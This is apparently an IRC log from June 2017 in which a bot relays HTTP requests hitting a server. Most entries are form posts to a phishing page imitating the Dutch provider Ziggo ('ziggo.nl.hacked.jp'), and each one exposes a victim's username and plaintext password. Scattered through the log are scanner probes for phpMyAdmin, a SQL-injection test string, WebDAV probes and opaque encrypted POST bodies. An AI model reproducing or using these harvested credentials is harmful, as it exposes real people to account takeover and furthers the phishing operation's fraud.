  3789. [14:07] <HTTP> S61fw9iaYa2OGIUnAJnwIMcfq2mjVBb+wg3ZnaFiBkusUaog3qPQl0UIEPWnjyqG/BkPxWALXuR2LNL0Hh6baPkQVXldn6KcA32IjxJr0PIHo8pF5Z1GWKwe1M2YQJ7r4SnpXTB1lAZcy1XTVa5Urn2vNaLM7C4P/HNHkEA0hdu2blZLqGyM+emnS7d/vvqC5J4R00TujmAKnhFRuY32vAqdJ0/lKwGQSJnbGQVJK8aHhqqbO2Sohv/9Cz8kUNW8OxPLdmWth9M1SpLjJ53GPJBrVcpI2uT6mKvxWkrTP+IJTwGZLR7RADHWbSBa+8EoAfpDrSLjtrkzOFNklaYDXt878HuaRGK8q//8fUdbX9IH1w==
  3790. [14:08] <HTTP> Socket initiated: 71.235.124.202
  3791. [14:08] <HTTP> POST / HTTP/1.1
  3792. [14:08] <HTTP> Content-Type: application/x-www-form-urlencoded
  3793. [14:09] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3794. [14:09] <HTTP> Host: 172.86.120.218
  3795. [14:09] <HTTP> Content-Length: 380
  3796. [14:09] <HTTP> Cache-Control: no-cache
  3797. [14:09] <HTTP> F/RYk4/PYaa0dgIaeuNmHnW47cDt4aFs7tdujVngXQE/QQbEN8hFXBbaxN5eSAHngJQnGjRhkThJmgVWsSdmxJ+LawVOCSPoSpijIMXe2YQmSlalrzngOuFVlKAOg6Uw2I40UAzuyEVk9ekGzNVQKg9e9fD1gK8PkUX7ZpaY7hfZfXNuBidwKWt5EzknmufVpcHRRD2cxVBrpaMBRPTRgQm2zLQjy85xQRwePRX2RMVKBbQP9VRLQgrQENmSB/gzcqsA5fQMnn6xzP7gtapLdai9hG0ryDsw2dYz28CBU9ui+1L9GwoWQDhN8SI/yRR7e26qlODl4T2fsMXsfVcRpHEPr4jbpS0/Vl3DMceGNCJVL3V+opSlW065o2U=
  3798. [14:10] <HTTP> Socket initiated: 71.235.124.202
  3799. [14:10] <HTTP> POST / HTTP/1.1
  3800. [14:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  3801. [14:11] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3802. [14:11] <HTTP> Host: 172.86.120.218
  3803. [14:11] <HTTP> Content-Length: 436
  3804. [14:11] <HTTP> Cache-Control: no-cache
  3805. [14:11] <HTTP> RqRXw97NNa2iPcHcZ8sRWSDHKQhCyykq+u0axNafCDSAxymd4nk+TMBleI6xqnWY/8YSTxWi5o4dJrZpTZmZsaGS1ots81Imw/71H/BhKpqbujLu0jxyRhoDmwt8BMe0X0y8TdTXMcaYFXpDv3sHIIVrwZf0mOSIXDzc//mfnCpW4yKxp9An5PIOpE4NqJquED0Mis4DRzsJuWicKaosxnOAhXHK0JdFODPMblA05ix3bmqHviTrj4Fa9t05/dtCAqydH4Bpy0YEGsmdtRgJfzL7oX1mY36g/OiZ/vlOyxaZU4AirOVu3GQEc0W8mP26YgXre4NoB/Uh3r+q8irwruvh4pdJ1XZjC9e3Kxj4nNFfIhiotceX65i4FG9ndY+4l9AlFE84OoGwG+
  3806. [14:11] <HTTP> L4bFtUhFCHP8TmVKluN70PYfjE/HSoKS7C2A==
  3807. [14:12] <HTTP> Socket initiated: 71.235.124.202
  3808. [14:13] <HTTP> POST / HTTP/1.1
  3809. [14:13] <HTTP> Content-Type: application/x-www-form-urlencoded
  3810. [14:13] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3811. [14:13] <HTTP> Host: 172.86.120.218
  3812. [14:13] <HTTP> Content-Length: 404
  3813. [14:13] <HTTP> Cache-Control: no-cache
  3814. [14:13] <HTTP> Q6NZwNjIYO0mY8Q+B95qpEY/XdNwOwZ5G2QEAyL0rEGOabpno9INRmhqm0D7sHiu8g5+a5qG6FHrGMx2shLiNmFjKzilR2VROJdun8LoPJ7ceXreQJh/ietvt6lACsQ3qO/4RO9SPlSnbvVHIV4l9Ca7WxDHHZz4dmNGoTBpvlSKoKp70pny+u8OZMite74qzT34IPLYacoPx6w/niLhJye7s/TI7nij31qsfw0iyDw233DTAC2iIdqCSMBVkIQ6O4jJ1nEtesupK6ZubC2g3zjcytsJw9f3grilRC5nXBIAH+JCRilADvs/t4skAnsbWiOu+TBOL4Y0gjMWt4LL2UwmOtWJrDGozL0D/mPNGxOfkJlW4w5syexV7hdmzHrhN1OiNXOJGOOpAoYIKQ==
  3815. [14:14] <HTTP> Socket initiated: 71.235.124.202
  3816. [14:15] <HTTP> POST / HTTP/1.1
  3817. [14:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  3818. [14:15] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3819. [14:15] <HTTP> Host: 172.86.120.218
  3820. [14:15] <HTTP> Content-Length: 376
  3821. [14:15] <HTTP> Cache-Control: no-cache
  3822. [14:15] <HTTP> SqIIw9zOMa0dy7wQG0rApra4Do7bGT6bLDSQZ+h35LEpKRRl3sfxyya6mQxyVb7I8SWw3K7oSfS7K3OY69FnD/uMlQvurxu+VBw+r+3ta/gt7hThKFtu7X5po6poSNAo11h6j7M7/QjoYqT+R7Q66RS2M/qaJlC2qXSZdrH+uMD5pzeKuMOnpxWSwi78be52IqoPsBpbH7x/WrnCdVyLZ8k8QAuXOg0ll8XRZ0ntEkeAfRFTgWY6yymggehLMncWbckz80vm4wzkVmszHAB00NFJzItdb6/qhV0xf2deJvReqzuLFTWvJ3VwP9GXmSTKj0kQah4bRAnqEpL3MCk+meOYrSUcbXUFJ0ItYZCO+FjIPbNc+da/OC8=
  3823. [14:18] <HTTP> Socket initiated: 210.12.119.142
  3824. [14:18] <HTTP> GET /phpmyadmin HTTP/1.1
  3825. [14:18] <HTTP> Connection: Keep-Alive
  3826. [14:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  3827. [14:18] <HTTP> Accept: */*
  3828. [14:18] <HTTP> Accept-Language: zh-cn
  3829. [14:18] <HTTP> Referer: http://172.86.120.218/phpmyadmin
  3830. [14:18] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
  3831. [14:18] <HTTP> Host: 172.86.120.218
  3832. [14:19] <HTTP> Socket initiated: 83.85.33.57
  3833. [14:19] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3834. [14:19] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  3835. [14:19] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3836. [14:19] <HTTP> Accept-Language: nl-NL
  3837. [14:19] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
  3838. [14:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  3839. [14:19] <HTTP> Accept-Encoding: gzip, deflate
  3840. [14:19] <HTTP> Host: ziggo.nl.hacked.jp
  3841. [14:19] <HTTP> Content-Length: 121
  3842. [14:19] <HTTP> Connection: Keep-Alive
  3843. [14:19] <HTTP> Cache-Control: no-cache
  3844. [14:19] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=ronald_berserik&userId=ronald_berserik&password=dekleine1&button=
  3845. [14:22] <HTTP> Socket initiated: 83.85.33.57
  3846. [14:22] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3847. [14:22] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  3848. [14:22] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3849. [14:22] <HTTP> Accept-Language: nl-NL
  3850. [14:22] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
  3851. [14:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  3852. [14:23] <HTTP> Accept-Encoding: gzip, deflate
  3853. [14:23] <HTTP> Host: ziggo.nl.hacked.jp
  3854. [14:23] <HTTP> Content-Length: 121
  3855. [14:23] <HTTP> Connection: Keep-Alive
  3856. [14:23] <HTTP> Cache-Control: no-cache
  3857. [14:23] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=ronald_berserik&userId=ronald_berserik&password=dekleine1&button=
  3858. [14:59] <HTTP> Socket initiated: 91.230.47.3
  3859. [15:00] <HTTP> GET / HTTP/1.0
  3860. [15:00] <HTTP> Connection: close
  3861. [15:28] <HTTP> Socket initiated: 80.114.239.232
  3862. [15:28] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3863. [15:28] <HTTP> Host: ziggo.nl.hacked.jp
  3864. [15:28] <HTTP> Connection: keep-alive
  3865. [15:28] <HTTP> Content-Length: 139
  3866. [15:28] <HTTP> Cache-Control: max-age=0
  3867. [15:28] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3868. [15:28] <HTTP> Origin: http://219.93.200.189
  3869. [15:28] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-J320FN Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.5 Chrome/38.0.2125.102 Mobile Safari/537.36
  3870. [15:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  3871. [15:28] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3872. [15:28] <HTTP> Accept-Encoding: gzip,deflate
  3873. [15:28] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  3874. [15:28] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=dicktammenga%40ziggo.nl&userId=dicktammenga%40ziggo.nl&password=tammenga306&button=
  3875. [15:30] <HTTP> Socket initiated: 183.129.160.229
  3876. [15:31] <HTTP> GET / HTTP/1.1
  3877. [15:31] <HTTP> HOST: 172.86.120.218
  3878. [15:31] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  3879. [15:31] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  3880. [15:31] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  3881. [15:31] <HTTP> Accept-Encoding: deflate
  3882. [15:31] <HTTP> Connection: keep-alive
  3883. [15:40] <HTTP> Socket initiated: 80.114.239.232
  3884. [15:40] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3885. [15:40] <HTTP> Host: ziggo.nl.hacked.jp
  3886. [15:40] <HTTP> Connection: keep-alive
  3887. [15:40] <HTTP> Content-Length: 118
  3888. [15:40] <HTTP> Cache-Control: max-age=0
  3889. [15:40] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3890. [15:40] <HTTP> Origin: http://219.93.200.189
  3891. [15:40] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-J320FN Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.5 Chrome/38.0.2125.102 Mobile Safari/537.36
  3892. [15:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  3893. [15:40] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3894. [15:40] <HTTP> Accept-Encoding: gzip,deflate
  3895. [15:40] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  3896. [15:40] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=dicktammenga&userId=dicktammenga&password=Tammenga5%3F&button=
  3897. [16:02] <HTTP> Socket initiated: 84.106.85.37
  3898. [16:02] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3899. [16:02] <HTTP> Host: ziggo.nl.hacked.jp
  3900. [16:02] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
  3901. [16:02] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  3902. [16:02] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  3903. [16:02] <HTTP> Accept-Encoding: gzip, deflate
  3904. [16:02] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3905. [16:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  3906. [16:02] <HTTP> Content-Length: 104
  3907. [16:02] <HTTP> Connection: keep-alive
  3908. [16:02] <HTTP> Upgrade-Insecure-Requests: 1
  3909. [16:02] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Sound3&userId=Sound3&password=AJam%23148&button=
  3910. [16:03] <HTTP> Socket initiated: 91.230.47.3
  3911. [16:04] <HTTP> GET / HTTP/1.0
  3912. [16:04] <HTTP> Connection: close
  3913. [16:11] <HTTP> Socket initiated: 83.81.63.194
  3914. [16:11] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3915. [16:11] <HTTP> Host: ziggo.nl.hacked.jp
  3916. [16:11] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
  3917. [16:11] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  3918. [16:11] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  3919. [16:11] <HTTP> Accept-Encoding: gzip, deflate
  3920. [16:11] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3921. [16:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  3922. [16:11] <HTTP> Content-Length: 111
  3923. [16:11] <HTTP> Connection: keep-alive
  3924. [16:11] <HTTP> Upgrade-Insecure-Requests: 1
  3925. [16:11] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=jan85heems&userId=jan85heems&password=jt85klaar&button=
  3926. [16:16] <HTTP> Socket initiated: 83.85.33.103
  3927. [16:17] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3928. [16:17] <HTTP> Host: ziggo.nl.hacked.jp
  3929. [16:17] <HTTP> Connection: keep-alive
  3930. [16:17] <HTTP> Content-Length: 118
  3931. [16:17] <HTTP> Cache-Control: max-age=0
  3932. [16:17] <HTTP> Origin: http://219.93.200.189
  3933. [16:17] <HTTP> Upgrade-Insecure-Requests: 1
  3934. [16:17] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HTC One M9 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  3935. [16:17] <HTTP> Content-Type: application/x-www-form-urlencoded
  3936. [16:17] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3937. [16:17] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3938. [16:17] <HTTP> Accept-Encoding: gzip, deflate
  3939. [16:17] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4,de;q=0.2,fr;q=0.2
  3940. [16:17] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=harrievandam&userId=harrievandam&password=HvD110553%3F&button=
  3941. [16:39] <HTTP> Socket initiated: 91.189.36.109
  3942. [16:40] <HTTP> GET /userlogin/login.aspix?id=1%27and%201=2 HTTP/1.1
  3943. [16:40] <HTTP> Host: www.gtmcom.net
  3944. [17:26] <HTTP> Socket initiated: 183.134.58.26
  3945. [17:26] <HTTP> GET /phpmyadmin%20 HTTP/1.1
  3946. [17:26] <HTTP> Connection: Keep-Alive
  3947. [17:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  3948. [17:26] <HTTP> Accept: */*
  3949. [17:26] <HTTP> Accept-Language: zh-cn
  3950. [17:26] <HTTP> Referer: http://172.86.120.218/phpmyadmin
  3951. [17:26] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
  3952. [17:26] <HTTP> Host: 172.86.120.218
  3953. [18:25] <HTTP> Socket initiated: 83.84.228.69
  3954. [18:26] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3955. [18:26] <HTTP> Host: ziggo.nl.hacked.jp
  3956. [18:26] <HTTP> Connection: keep-alive
  3957. [18:26] <HTTP> Content-Length: 106
  3958. [18:26] <HTTP> Cache-Control: max-age=0
  3959. [18:26] <HTTP> Origin: http://219.93.200.189
  3960. [18:26] <HTTP> Upgrade-Insecure-Requests: 1
  3961. [18:26] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  3962. [18:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  3963. [18:26] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3964. [18:26] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3965. [18:26] <HTTP> Accept-Encoding: gzip, deflate
  3966. [18:26] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  3967. [18:26] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=peggylie&userId=peggylie&password=25voor25&button=
  3968. [18:27] <HTTP> Socket initiated: 91.230.47.3
  3969. [18:28] <HTTP> GET / HTTP/1.0
  3970. [18:28] <HTTP> Connection: close
  3971. [19:21] <HTTP> Socket initiated: 191.96.249.136
  3972. [19:21] <HTTP> GET /phpmyadmin/scripts/setup.php HTTP/1.0
  3973. [19:21] <HTTP> Connection: close
  3974. [19:32] <HTTP> Socket initiated: 91.230.47.3
  3975. [19:32] <HTTP> GET / HTTP/1.0
  3976. [19:32] <HTTP> Connection: close
  3977. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3978. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3979. [20:34] <HTTP> GET / HTTP/1.0
  3980. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3981. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3982. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3983. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3984. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3985. [20:34] <HTTP> Socket initiated: 204.93.154.198
  3986. 02[20:55] * independent (independen@Owner.home-unix.com) Quit (Ping timeout: 60 seconds)
  3987. [20:58] <HTTP> Socket initiated: 46.209.210.18
  3988. [20:59] <HTTP> OPTIONS /ipc$ HTTP/1.1
  3989. [20:59] <HTTP> Connection: Keep-Alive
  3990. [20:59] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  3991. [20:59] <HTTP> translate: f
  3992. [20:59] <HTTP> Host: 172.86.120.218
  3993. [21:00] <HTTP> Socket initiated: 46.209.210.18
  3994. [21:00] <HTTP> OPTIONS /ipc$ HTTP/1.1
  3995. [21:00] <HTTP> Connection: Keep-Alive
  3996. [21:00] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  3997. [21:00] <HTTP> translate: f
  3998. [21:00] <HTTP> Host: 172.86.120.218
  3999. [21:40] <HTTP> Socket initiated: 91.230.47.3
  4000. [21:40] <HTTP> GET / HTTP/1.0
  4001. [21:40] <HTTP> Connection: close
  4002. 03[22:16] * independent (independen@Owner.home-unix.com) has joined ##ss
  4003. [22:29] <HTTP> Socket initiated: 193.70.46.94
  4004. [22:29] <HTTP> GET / HTTP/1.1
  4005. [22:29] <HTTP> Host: xxx-blog.to
  4006. [22:29] <HTTP> Connection: close
  4007. [22:29] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:48.0) Gecko/20100101 Firefox/48.0
  4008. [22:29] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4009. [22:29] <HTTP> accept-encoding: gzip, deflate
  4010. [22:40] <HTTP> Socket initiated: 91.230.47.3
  4011. [22:40] <HTTP> GET / HTTP/1.0
  4012. [22:40] <HTTP> Connection: close
  4013. [23:03] <HTTP> Socket initiated: 177.86.23.253
  4014. [23:03] <HTTP> GET / HTTP/1.1
  4015. [23:03] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  4016. [23:03] <HTTP> Host: 172.86.120.218
  4017. [23:03] <HTTP> Accept: */*
  4018. [23:22] <HTTP> Socket initiated: 46.209.210.18
  4019. [23:22] <HTTP> OPTIONS /ipc$ HTTP/1.1
  4020. [23:22] <HTTP> Connection: Keep-Alive
  4021. [23:22] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  4022. [23:22] <HTTP> translate: f
  4023. [23:22] <HTTP> Host: 172.86.120.218
  4024. [23:23] <HTTP> Socket initiated: 46.209.210.18
  4025. [23:23] <HTTP> OPTIONS /ipc$ HTTP/1.1
  4026. [23:23] <HTTP> Connection: Keep-Alive
  4027. [23:23] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  4028. [23:23] <HTTP> translate: f
  4029. [23:23] <HTTP> Host: 172.86.120.218
  4030. [23:51] <HTTP> Socket initiated: 89.248.172.90
  4031. [23:51] <HTTP> Socket initiated: 89.248.172.90
  4032. [23:51] <HTTP> GET http://httpheader.net/ HTTP/1.1
  4033. [23:51] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  4034. [23:51] <HTTP> Host: httpheader.net
  4035. [23:51] <HTTP> Accept-Encoding: deflate, gzip
  4036. [23:51] <HTTP> Socket initiated: 89.248.172.90
  4037. [23:51] <HTTP> Proxy-Connection: Keep-Alive
  4038. [23:51] <HTTP> Socket initiated: 89.248.172.90
  4039. [23:51] <HTTP> Accept-Language: en-gb,en;q=0.5
  4040. [23:51] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4041. [23:51] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  4042. [23:51] <HTTP> Pragma: no-cache
  4043. [23:51] <HTTP> Socket initiated: 89.248.172.90
  4044. [23:51] <HTTP> Cache-Control: no-cache
  4045. [23:51] <HTTP> CONNECT www.ziggo.nl:443 HTTP/1.1
  4046. [23:51] <HTTP> Host: www.ziggo.nl:443
  4047. [23:51] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  4048. [23:51] <HTTP> Proxy-Connection: Keep-Alive
  4049. [23:51] <HTTP> Accept-Language: en-gb,en;q=0.5
  4050. [23:51] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4051. [23:51] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  4052. [23:51] <HTTP> Pragma: no-cache
  4053. [23:51] <HTTP> Cache-Control: no-cache
  4054. [23:51] <HTTP> 
  4055. Session Time: Sat Jun 03 00:00:00 2017
  4056. 02[00:01] * Disconnected
  4057. Session Close: Sat Jun 03 00:01:55 2017
  4058.  
  4059. Session Start: Sat Jun 03 00:01:55 2017
  4060. Session Ident: ##ss
  4061. 02[00:03] * Attempting to rejoin channel ##ss
  4062. 03[00:03] * Rejoined channel ##ss
  4063. [00:35] <HTTP> Socket initiated: 139.162.114.70
  4064. [00:35] <HTTP> GET / HTTP/1.1
  4065. [00:35] <HTTP> Host: 172.86.120.218
  4066. [00:35] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
  4067. [00:35] <HTTP> Connection: close
  4068. [00:36] <HTTP> Socket initiated: 203.87.133.143
  4069. [00:36] <HTTP> POST / HTTP/1.1
  4070. [00:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  4071. [00:36] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4072. [00:36] <HTTP> Host: 172.86.120.218
  4073. [00:36] <HTTP> Content-Length: 340
  4074. [00:36] <HTTP> Cache-Control: no-cache
  4075. [00:36] <HTTP> JD5NisM/BOb3lSv8wtESLGTu+ZI90rYn7CtSTpptwTGbCNSbvb/Itvzc7fDBEHLZ4GWe46nas3+VjtRRtEC1w75NYp7bUxEiMQ2iBnhSfVR02FsVp7DLyC+hQNl61uhGTpTSiz9xvg/8q1yhGFT7GaF2AXWIM30hZbEPT1ahzegeh8NYNTyU3UsRtWbmtgelaAZU6yFE01r3kXnfLioBa8nYKlMAc9h0ouEzb6q5AmWyxpGxEofulxWQtemi/daNSkelVCUyUDR9t2Ky3vRFDp6RVXm7UshTop1joq78wrnveRdhkwqIXModSxyaZeDrmsyUP7yf7NX4UtaLZuA=
  4076. [00:39] <HTTP> Socket initiated: 203.87.133.143
  4077. [00:39] <HTTP> POST / HTTP/1.1
  4078. [00:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  4079. [00:39] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4080. [00:39] <HTTP> Host: 172.86.120.218
  4081. [00:39] <HTTP> Content-Length: 348
  4082. [00:39] <HTTP> Cache-Control: no-cache
  4083. [00:39] <HTTP> cTpEiZE4VbcpusquezRt32ESCrAyHDjCh5mHRtQq17hGOvbAdAXV5VB9Zew1cPeNXMnznFi3b2sb9pIag3JQScQaeChrG4yduY8aF4B7BP10L9EhapgU1psC6mKt58UGHcFSYFDOM0GCurD6k+sv6Rb6HupVtIyog9pFdgwGAHAa4o73D/CFZzN2sJvfeFe6Qu5vaEVdwt5AO844el6/QraQV0n5EixcIIr3Gtj5gelxsJqN/OFbh/QCPwITHGkhatLHRkK/O1FuNqjQNr/qNn6amDwWbZmusYHYD5sFMVnYd1HzmnTre4i96fDpaWU7nd7sdD+j1ubXyHhtSHTSUPtj6/ZC
  4084. [00:41] <HTTP> Socket initiated: 203.87.133.143
  4085. [00:41] <HTTP> POST / HTTP/1.1
  4086. [00:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  4087. [00:41] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4088. [00:41] <HTTP> Host: 172.86.120.218
  4089. [00:41] <HTTP> Content-Length: 400
  4090. [00:41] <HTTP> Cache-Control: no-cache
  4091. [00:41] <HTTP> dz5Gi5I6U6yF1csUVtN6mcclgDie2TskVpUPBTod/g7OLyJfDdjK0AyTHJfr4zwOhicTmXKM/dGgCE0G1Py16MkVQYNAAytL7TPodte3KMyJGBqE0iI2kBSWGa8cgiZ9V8wi7dCwVdNp2okll8n1lSJLDiV+X90gO1Mj0eVbmipX0XGwPxay96/5xOikMoNrXhxYp6yWVq1VcInC7c2s8kA2uBucUGkN666nLyolL/BUG2PAkFmlcWOMPL3sWNr0Fv6TvxH88oYuSamHOPknq+tjFc4GRh1/MRxsUHryGSmvJqhSGGgsk5wnf0s4NOw6AybyPitr7URdOCfLQohAb/UPmQ+DtlviQb95HMi2iDDKln7pAwEqNmrVo7E7cQqFyC33aL3r643qYGA=
  4092. [00:43] <HTTP> Socket initiated: 203.87.133.143
  4093. [00:43] <HTTP> POST / HTTP/1.1
  4094. [00:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  4095. [00:43] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4096. [00:43] <HTTP> Host: 172.86.120.218
  4097. [00:43] <HTTP> Content-Length: 380
  4098. [00:43] <HTTP> Cache-Control: no-cache
  4099. [00:44] <HTTP> cjER2cM8UTiAJG63OS2utR3l2mvye6by2ioel7PTcyIsBfcT/+p7vpYnQEAszDp2Gv6JQIDNEks6sfwiUeaffgMUsclnrM2oJdbH8/6wPX4S8I/7/9YzeNHMxPiD+KHhSg//iWc9pLVjScOqXAiSmpTgP6XHeEiEyG1SaIc0rBQvaQhGE+dVSpk5fXlJ5iQISZWbUxTFvI7W/7RA55IpPuxlyY8L3gTM32Cx1J5V+AuIDoyTJHFpwWurQZG768xKFUCXLv/BG0rMR583LyejSADdpFAT0SxleZonxj3S6nzkDJvuiwAT0SiCvprTXotKz9/3V40+4UF/LCLCZv6IZg1iY1iSnXpG0uu3ny8LSHxWZDNSCGewUo983A==
  4100. [00:45] <HTTP> Socket initiated: 203.87.133.143
  4101. [00:45] <HTTP> POST / HTTP/1.1
  4102. [00:45] <HTTP> Content-Type: application/x-www-form-urlencoded
